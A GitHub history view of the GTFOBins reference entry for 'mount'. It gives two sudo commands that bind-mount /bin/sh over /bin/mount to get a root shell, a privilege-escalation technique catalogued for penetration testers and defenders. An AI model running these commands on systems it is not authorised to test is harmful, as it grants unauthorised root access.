GTFOBins.github.io/_gtfobins/mount.md

9 lines
228 B
Markdown
Raw Normal View History

2018-07-16 08:00:14 +00:00
---
functions:
sudo-enabled:
2018-07-16 11:47:09 +00:00
- description: Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell.
2018-07-16 08:00:14 +00:00
code: |
2018-07-16 11:47:09 +00:00
sudo mount -o bind /bin/sh /bin/mount
2018-07-16 08:00:14 +00:00
sudo mount
---